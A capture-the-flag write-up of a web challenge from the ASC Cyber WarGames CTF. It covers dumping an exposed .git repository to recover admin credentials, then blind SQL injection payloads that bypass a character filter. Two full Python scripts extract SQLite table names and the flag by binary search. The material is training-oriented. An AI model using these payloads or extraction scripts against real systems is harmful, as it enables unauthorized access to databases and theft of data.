Welcome back again with another write-up! Today we will cover Unseen Path to secret web challenge from the ASC Cyber WarGames CTF.

Summary

Analyzing a leaked Git repo to extract credentials, then pivot to a SQL injection with heavy filtering to extract the flag.

Unseen Path to secret

We are represented with this "Site Under Construction" page
Site Under Construction
Since fuzzing is not allowed, we can try to find some clues.
Down there Powered by Github · PHP · SQLite · Apache. Immedietly thought about checking /.git/ path
Git path
Got Forbidden error, but that doesn't mean we can't access the repo, sometimes it's just blocking this path but not the actual repo inside
SO we tried /.git/config or /.git/HEAD and we got some files!
Git config
Aamzing! next we dump it using git-dumper:
git-dumper http://34.18.12.84:8086/.git/ repo
This will create a repo folder with all the files inside the git repo.
In the repo we have got some files: index.php, login.php, but both didn't have any good information.
Next thing you usually try is checking past commits
git log
That got use all commits. They were about 50 so for a cleaner view we can use git log --oneline to get a single line for each commit.
And we got an interesting commit message Delete Secrets!
Git commit
So we check the commit before that one by using git checkout 0a6893d and we find a file named .config.php.swp which contains some credentials
Config file
We visit login.php in the website and try to login with the credentials we found and we we are in!

We are presented with an admin panel with some functionalities
Admin panel
There was an action parameter in the URL which we can use to get different pages, tested it against some vulnerabilities like LFI but that yielded nothing.
The only interesting functionality was the Check User (Test) which allows us to check if a user is active or not.
Check User
At first I tried OS command injection but there was some kind of filter that blocks out symbols like ; `` > < = $
Next tried sql injection with our basic payload ' or 1=1 -- but that didn't work since = is blocked.
Playing around the payload ' or 1 -- got me User is active which means it returned true and there we have a blind sql injection!
True sql
To confirm that, the payload ' or 0 -- got me User not found which means it returned false
false sql
After a bit of testing, we discover a filter that blocks <, >, ", union and a lot of other stuff
Now since sqlmap won't work here, we need to find a way to bypass this filter manually.
My friend Korea came up with a payload that uses unicode to bypass the filter
' OR (SELECT unicode(substr(name,1,1)) FROM sqlite_master WHERE type GLOB 'table' LIMIT 1) BETWEEN 0 AND 127--
This payload attempts to extract the first table name from the sqlite_master table and evaluates whether the Unicode value of its first character falls within the ASCII range (0–127). I used the BETWEEN operator instead of = since it was blocked. As expected, the condition returned true, confirming that the first character of the table name is indeed within the ASCII range
My friend 0XMohomiester figured out another working payload as well:
' OR 's' IN (SELECT substring(name,2,1) FROM sqlite_master where type IN('table')) --
Now we need to automate this operation to exfilterate the table names Using the help of AI it made me a script to extract all tables from the database and it did a great job:
import requests
import urllib.parse
import time

# Target endpoint
url = "http://34.18.12.84:8086/admin.php?action=check"

# HTTP headers, including your session cookie
headers = {
    "Host": "34.18.12.84:8086",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}

# True and false indicators in the HTTP response
true_indicator = "User is active"
false_indicator = "User not found"

# Sends a POST request with the given SQL payload
def send_payload(payload):
    encoded_payload = urllib.parse.quote_plus(payload)
    data = f"action=check&username={encoded_payload}"
    print(f"[>] Sending payload: {payload}")
    response = requests.post(url, headers=headers, data=data)
    print(f"[<] Status: {response.status_code} | Length: {len(response.text)}")

    if true_indicator in response.text:
        print("[✓] Condition is TRUE\n")
        return True
    elif false_indicator in response.text:
        print("[✗] Condition is FALSE\n")
        return False
    else:
        print("[!] Unexpected response:\n", response.text[:200])
        return False

# Extracts a single table name at given offset
def extract_table_name(offset):
    result = ""
    pos = 1
    print(f"\n[!] Extracting table name at OFFSET {offset}...\n")

    while True:
        # Template for the payload with OFFSET
        payload_template = (
            "' OR (SELECT unicode(substr(name,{pos},1)) FROM sqlite_master "
            "WHERE type GLOB 'table' LIMIT 1 OFFSET {offset}) BETWEEN {low} AND {high}--"
        )

        # Extract one character at a time using binary search
        def extract_char(pos):
            low, high = 32, 126  # Printable ASCII
            while low <= high:
                mid = (low + high) // 2
                payload = payload_template.format(pos=pos, low=low, high=mid, offset=offset)
                result = send_payload(payload)

                if result:
                    high = mid - 1
                else:
                    low = mid + 1
                time.sleep(0.2)  # Optional delay
            return chr(low) if 32 <= low <= 126 else None

        ch = extract_char(pos)
        if ch is None:
            break
        result += ch
        print(f"[+] Table name so far (offset {offset}): {result}")
        pos += 1

    if result:
        print(f"[✔] Table at OFFSET {offset}: {result}")
    else:
        print(f"[!] No table found at OFFSET {offset}")
    return result

# Main loop to extract multiple table names
if __name__ == "__main__":
    max_tables = 5  # Try up to 5 table names
    all_tables = []

    for offset in range(max_tables):
        table = extract_table_name(offset)
        if not table:
            break
        all_tables.append(table)

    print("\n[🏁] Extracted Tables:")
    for i, t in enumerate(all_tables):
        print(f"  [{i}] {t}")

The out put was as following
[🏁] Extracted Tables:
  [0] users
  [1] secrets
Now we need to get the flag from secrets table we could enamurate the column names as well but my friend assumed the flag will be in column named secret and that assumption was right.
The final script:
import requests
import urllib.parse
import time

# Target URL
url = "http://34.18.12.84:8086/admin.php?action=check"

# Headers (including PHPSESSID cookie)
headers = {
    "Host": "34.18.12.84:8086",
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "PHPSESSID=0bc1e25088b2b6506cc3cbd31ac833de",
}

true_indicator = "User is active"
false_indicator = "User not found"

# Send payload and determine TRUE or FALSE
def send_payload(payload):
    encoded = urllib.parse.quote_plus(payload)
    data = f"action=check&username={encoded}"
    print(f"[>] Payload: {payload}")
    response = requests.post(url, headers=headers, data=data)
    print(f"[<] Status: {response.status_code}, Length: {len(response.text)}")

    if true_indicator in response.text:
        print("[✓] TRUE\n")
        return True
    elif false_indicator in response.text:
        print("[✗] FALSE\n")
        return False
    else:
        print("[!] Unexpected response:\n", response.text[:200])
        return False

# Extract one character at a time using binary search
def extract_char_at_pos(pos):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = (
            f"' OR (SELECT unicode(substr(secret,{pos},1)) FROM secrets LIMIT 1) "
            f"BETWEEN {low} AND {mid}--"
        )
        result = send_payload(payload)
        if result:
            high = mid - 1
        else:
            low = mid + 1
        time.sleep(0.2)
    return chr(low) if 32 <= low <= 126 else None

# Full flag extractor
def extract_flag():
    result = ""
    pos = 1
    print("\n[!] Starting flag extraction from secrets.secret...\n")
    while True:
        ch = extract_char_at_pos(pos)
        if ch is None:
            break
        result += ch
        print(f"[+] Flag so far: {result}")
        pos += 1
    print("\n[✔] Extraction complete.")
    return result

if __name__ == "__main__":
    flag = extract_flag()
    print(f"\n[🏁] Final Flag: {flag}")
And Here is our flag
[✔] Extraction complete.

[🏁] Final Flag: ASCWG{VIM_SPILL_SQLI_DRILL}
ASCWG{VIM_SPILL_SQLI_DRILL}